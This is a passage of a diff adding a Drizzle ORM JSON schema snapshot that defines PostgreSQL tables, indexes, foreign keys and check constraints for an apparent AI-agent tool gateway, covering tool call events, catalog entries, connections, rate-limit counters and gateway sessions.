+          "notNull": false
+        },
+        "result_hash": {
+          "name": "result_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_summary": {
+          "name": "result_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_size_bytes": {
+          "name": "result_size_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "redaction_plan": {
+          "name": "redaction_plan",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rate_limit_state": {
+          "name": "rate_limit_state",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_call_events_company_created_idx": {
+          "name": "tool_call_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_run_idx": {
+          "name": "tool_call_events_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_issue_idx": {
+          "name": "tool_call_events_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_invocation_idx": {
+          "name": "tool_call_events_invocation_idx",
+          "columns": [
+            {
+              "expression": "invocation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_gateway_idx": {
+          "name": "tool_call_events_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_call_events_company_id_companies_id_fk": {
+          "name": "tool_call_events_company_id_companies_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_agent_id_agents_id_fk": {
+          "name": "tool_call_events_agent_id_agents_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_call_events_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_issue_id_issues_id_fk": {
+          "name": "tool_call_events_issue_id_issues_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_call_events_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_call_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_application_id_tool_applications_id_fk": {
+          "name": "tool_call_events_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_connection_id_tool_connections_id_fk": {
+          "name": "tool_call_events_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_call_events_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_invocation_id_tool_invocations_id_fk": {
+          "name": "tool_call_events_invocation_id_tool_invocations_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_invocations",
+          "columnsFrom": [
+            "invocation_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_action_request_id_tool_action_requests_id_fk": {
+          "name": "tool_call_events_action_request_id_tool_action_requests_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_action_requests",
+          "columnsFrom": [
+            "action_request_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_runtime_slot_id_tool_runtime_slots_id_fk": {
+          "name": "tool_call_events_runtime_slot_id_tool_runtime_slots_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_runtime_slots",
+          "columnsFrom": [
+            "runtime_slot_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_catalog_entries": {
+      "name": "tool_catalog_entries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entry_kind": {
+          "name": "entry_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'tool'"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_schema": {
+          "name": "input_schema",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "output_schema": {
+          "name": "output_schema",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "annotations": {
+          "name": "annotations",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'read'"
+        },
+        "is_read_only": {
+          "name": "is_read_only",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "is_write": {
+          "name": "is_write",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "is_destructive": {
+          "name": "is_destructive",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "version": {
+          "name": "version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version_hash": {
+          "name": "version_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "schema_hash": {
+          "name": "schema_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_seen_at": {
+          "name": "first_seen_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "last_seen_at": {
+          "name": "last_seen_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "reviewed_at": {
+          "name": "reviewed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reviewed_by_agent_id": {
+          "name": "reviewed_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reviewed_by_user_id": {
+          "name": "reviewed_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quarantined_at": {
+          "name": "quarantined_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quarantine_reason": {
+          "name": "quarantine_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_catalog_entries_company_idx": {
+          "name": "tool_catalog_entries_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_application_idx": {
+          "name": "tool_catalog_entries_application_idx",
+          "columns": [
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_connection_idx": {
+          "name": "tool_catalog_entries_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_company_status_idx": {
+          "name": "tool_catalog_entries_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_connection_name_uq": {
+          "name": "tool_catalog_entries_connection_name_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_catalog_entries_company_id_companies_id_fk": {
+          "name": "tool_catalog_entries_company_id_companies_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_application_id_tool_applications_id_fk": {
+          "name": "tool_catalog_entries_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_connection_id_tool_connections_id_fk": {
+          "name": "tool_catalog_entries_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_reviewed_by_agent_id_agents_id_fk": {
+          "name": "tool_catalog_entries_reviewed_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "reviewed_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_connection_installs": {
+      "name": "tool_connection_installs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_connection_installs_company_target_idx": {
+          "name": "tool_connection_installs_company_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connection_installs_connection_idx": {
+          "name": "tool_connection_installs_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connection_installs_target_uq": {
+          "name": "tool_connection_installs_target_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_connection_installs_company_id_companies_id_fk": {
+          "name": "tool_connection_installs_company_id_companies_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connection_installs_connection_id_tool_connections_id_fk": {
+          "name": "tool_connection_installs_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connection_installs_created_by_agent_id_agents_id_fk": {
+          "name": "tool_connection_installs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "tool_connection_installs_target_type_check": {
+          "name": "tool_connection_installs_target_type_check",
+          "value": "\"tool_connection_installs\".\"target_type\" in ('company', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.tool_connections": {
+      "name": "tool_connections",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "uid": {
+          "name": "uid",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_kind": {
+          "name": "connection_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'managed'"
+        },
+        "ownership": {
+          "name": "ownership",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'customer'"
+        },
+        "transport": {
+          "name": "transport",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "auth_kind": {
+          "name": "auth_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'draft'"
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "transport_config": {
+          "name": "transport_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "credential_refs": {
+          "name": "credential_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "credential_secret_refs": {
+          "name": "credential_secret_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unchecked'"
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_checked_at": {
+          "name": "health_checked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_health_at": {
+          "name": "last_health_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_catalog_refresh_at": {
+          "name": "last_catalog_refresh_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_connections_company_idx": {
+          "name": "tool_connections_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_application_idx": {
+          "name": "tool_connections_application_idx",
+          "columns": [
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_company_enabled_idx": {
+          "name": "tool_connections_company_enabled_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "enabled",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_company_uid_uq": {
+          "name": "tool_connections_company_uid_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "uid",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_connections_company_id_companies_id_fk": {
+          "name": "tool_connections_company_id_companies_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connections_application_id_tool_applications_id_fk": {
+          "name": "tool_connections_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "tool_connections_created_by_agent_id_agents_id_fk": {
+          "name": "tool_connections_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "tool_connections_company_id_uq": {
+          "name": "tool_connections_company_id_uq",
+          "nullsNotDistinct": false,
+          "columns": [
+            "company_id",
+            "id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {
+        "tool_connections_ownership_check": {
+          "name": "tool_connections_ownership_check",
+          "value": "\"tool_connections\".\"ownership\" in ('platform_shared', 'platform_provisioned', 'customer', 'dcr')"
+        },
+        "tool_connections_transport_check": {
+          "name": "tool_connections_transport_check",
+          "value": "\"tool_connections\".\"transport\" in ('mcp_remote', 'rest_api', 'local_stdio')"
+        },
+        "tool_connections_auth_kind_check": {
+          "name": "tool_connections_auth_kind_check",
+          "value": "\"tool_connections\".\"auth_kind\" in ('oauth', 'api_key', 'none')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.tool_gateway_rate_limit_counters": {
+      "name": "tool_gateway_rate_limit_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "counter_key": {
+          "name": "counter_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start_at": {
+          "name": "window_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_ms": {
+          "name": "window_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "limit": {
+          "name": "limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "count": {
+          "name": "count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "reset_at": {
+          "name": "reset_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_gateway_rate_limit_counters_company_idx": {
+          "name": "tool_gateway_rate_limit_counters_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_rate_limit_counters_window_uq": {
+          "name": "tool_gateway_rate_limit_counters_window_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "counter_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_gateway_rate_limit_counters_company_id_companies_id_fk": {
+          "name": "tool_gateway_rate_limit_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_gateway_rate_limit_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_gateway_sessions": {
+      "name": "tool_gateway_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "token_hash": {
